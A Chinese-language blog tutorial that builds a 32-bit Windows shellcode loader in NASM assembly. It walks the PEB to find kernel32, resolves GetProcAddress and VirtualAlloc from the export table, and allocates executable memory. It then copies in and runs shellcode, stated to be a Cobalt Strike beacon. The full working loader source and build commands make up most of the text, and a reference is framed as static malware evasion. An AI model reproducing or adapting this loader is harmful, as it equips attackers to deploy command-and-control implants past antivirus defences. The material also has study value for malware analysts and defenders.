前言
shellcode加载器最后的归宿 by 汇编语言!!
环境准备
关于汇编ide,最开始我使用的是vs的内联汇编来调试。后面发现它非常的不方便,它只支持masm,而我要写是nasm。最后在github上找到了SASM。下载的时候选择SASMSetup.exe。
安装好后,要重新设置汇编器路径与链接器路径。nasm.exe和gcc.exe都在sasm路径下
定位DLL基址
在汇编语言中,如果想调用Windows API,首先需要定位此函数所在的dll地址。既然编写shellcode加载器,那么我们这里直接定位VirtualAlloc
。通过查询msdn,可知VirtualAlloc
在Kernel32.dll
中。定位流程如下
1.通过FS寄存器取得PEB地址
2.取得 PEB_LDR_DATA 地址
3.取得 InInitializationOrderModuleList 地址
4.取得 kernel32.dll 的 Base Address
PEB的相关知识,移步PEB结构:获取模块kernel32基址技术及原理分析
下面的代码,通过遍历InInitializationOrderModuleList可直接看到dll的加载顺序
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
// 定义peb结构
//https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
}PEB_LDR_DATA, * PPEB_LDR_DATA;
//https://processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN SpareBits : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PEB_LDR_DATA* Ldr;
//...
} PEB, * PPEB;
typedef struct
{
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
}UNICODE_STRING;
//https://processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
//...
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
int main()
{
// 32位fs:[0x30]
PEB* peb = (PEB*)__readfsdword(0x30);;
PEB_LDR_DATA* ldr = peb->Ldr;
// 头指针
LIST_ENTRY* moduleList = &ldr->InInitializationOrderModuleList;
// 头结点
LIST_ENTRY* list = moduleList->Flink;
PVOID hKernel32 = NULL;
while (list != moduleList)
{
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - 2 * sizeof(LIST_ENTRY));
wprintf(L"%s\n", pEntry->FullDllName.Buffer);
list = list->Flink;
}
}
可看到第一个dll是ntdll.dll,第二个是KERNELBASE.dll,第三个是KERNEL32.DLL
定位kernel32.dll基址的汇编代码
mov ebx, [fs:0x30] ; EBX = PEB
mov ebx, [ebx + 0xc] ; EBX = PEB->ldr
mov ebx, [ebx + 0x1C] ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dll
mov ebx, [ebx] ; EBX = kernelbase.dll
mov ebx, [ebx] ; EBX = kernel32.dll
mov ebx, [ebx + 0x8] ; EBX = Base address
解释下上面的代码,[fs:0x30] 指向的就是PEB地址。
再通过VERGILIUS,查询PEB结构定义,得知PEB地址偏移0xc定位到PEB_LDR_DATA

继续偏移0x1C,定位到InInitializationOrderModuleList,同时也定位到了ntdll.dll
LIST_ENTRY是一个链表,再遍历链表成员的Flink两次,第一次[ebx]定位到kernelbase.dll,第二次[ebx]定位到kernel32.dll
同时LIST_ENTRY又是LDR_DATA_TABLE_ENTRY结构的成员,而我们最开始是通过遍历InInitializationOrderLinks来获取信息的,所以此时真正的位置是在LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks=0x10,而0x18是dll的基址。0x18-0x10=0x8。这也是[ebx + 0x8]就能定位到dll基址的原因。
下个断点,进行调试,ebx=0x77300000,和下图获取到的kernel32.dll基址一样,说明代码没毛病
定位函数地址
接下来就是解析PE,你必须深入了解PE结构,才能看懂下面的代码和流程
1.取得NT Header地址
2.取得 Export table 地址
3.取得 AddressOfNameOrdinals
4.取得目标函数地址
定位到导入表RVA
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
导入表的RVA=edx=0x92240
分析C:\Windows\SysWOW64\kernel32.dll的PE结构,可看到导出表的RVA一样是0x92240

接下来先找到GetProcAddress
函数地址
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
mov eax, ebx
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword [eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword [eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword [eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
GetProcAddress函数地址 = edx = 0x77315f20

我们不直接定位VirtualAlloc
,而是先获取到GetProcAddress
的原因在于,后面就可以调用GetProcAddress
来帮助我们找到想要的函数地址。
插句题外话,在导出表中可看到GetProcAddress
RVA为0x15F20,而前面获取到的kernel32.dll基址=0x77300000。那么GetProcAddress
的真正函数地址=0x15F20+0x77300000=0x77315F20

GetProcAddress
函数定义如下
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
windows调用API传递参数都是从右向左传递,因此第一个要传递的参数是lpProcName
,即函数名称。将字符串压入栈中,最后再压入esp寄存器,代表字符串传参完毕
; Get VirtualAlloc Address
push 0
push dword 0x636F6C6C ; lloc
push dword 0x416C6175 ; ualA
push dword 0x74726956 ; Virt
push esp
push ebx ; Kernel32.DLL Base Addr
call edx ; GetProcAddress Addr
当函数调用成功后,返回值存放在EAX寄存器,EAX=0x77315ED0

执行shellcode
调用VirtualAlloc
; EAX = VirtualAlloc Address
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; shellcode size
push 0 ; NULL
call eax ; VirtualAlloc Addr
成功在0x20000开辟了RWX属性的空间

定义一个数据段,来存放我们的shellcode,将cs生成的32位shellcode放到对应的位置
section .data
shellcode db 0xfc, 0xe8, 0x89 ; put shellcode here
len equ $ - shellcode ; Get shellcode Size
将shellcode复制到我们申请的内存中去
; Copy Shellcode to Memory
mov ecx, len
mov esi, shellcode
mov edi, eax
cld
rep movsb
shellcode成功复制了过去
最后一步,call eax
执行shellcode,上线cs
完整代码
; runshellcode.asm
; %include "io.inc"
global CMAIN
section .data
shellcode db 0xfc, 0xe8, 0x89 ; put shellcode here
len equ $ - shellcode ; Get shellcode Size
section .text
CMAIN:
mov ebx, [fs:0x30] ; EBX = PEB
mov ebx, [ebx + 0xc] ; EBX = PEB->ldr
mov ebx, [ebx + 0x1C] ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dll
mov ebx, [ebx] ; EBX = kernelbase.dll
mov ebx, [ebx] ; EBX = kernel32.dll
mov ebx, [ebx + 0x8] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
mov eax, ebx
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword [eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword [eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword [eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
; EDX = GetProcAddress
; EBX = Kernel32.DLL Base Addr
; Get VirtualAlloc Address
push 0
push dword 0x636F6C6C ; lloc
push dword 0x416C6175 ; ualA
push dword 0x74726956 ; Virt
push esp
push ebx ; Kernel32.DLL Base Addr
call edx ; GetProcAddress Addr
; EAX = VirtualAlloc Address
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; shellcode size
push 0 ; NULL
call eax ; VirtualAlloc Addr
; Copy Shellcode to Memory
mov ecx, len
mov esi, shellcode
mov edi, eax
cld
rep movsb
; Exec shellcode
call eax
ret
编译
如果使用SASM自带的gcc编译器,生成的exe非常的大
而汇编语言生成的目标文件经过链接后的体积非常小,使用nasm汇编器进行汇编
nasm -f win32 runshellcode.asm

生成Obj文件后,使用VS Link 链接器进行编译
link.exe /OUT:"runshellcode.exe" /MACHINE:X86 /SUBSYSTEM:WINDOWS /NOLOGO /TLBID:1 /ENTRY:CMAIN .\runshellcode.obj

小才是汇编的精髓,仅有3.5KB!
参考文章
x32 PEB: 获取Kernel32基地址的原理及实现
x32 PEB: 获取Kernel32基地址的原理及实现(备用链接)
PEB结构:获取模块kernel32基址技术及原理分析
欢迎来到实力至上主义的 Shellcode (上) - Windows x86 Shellcode
欢迎来到实力至上主义的 Shellcode (下) - Windows x86 Shellcode
静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器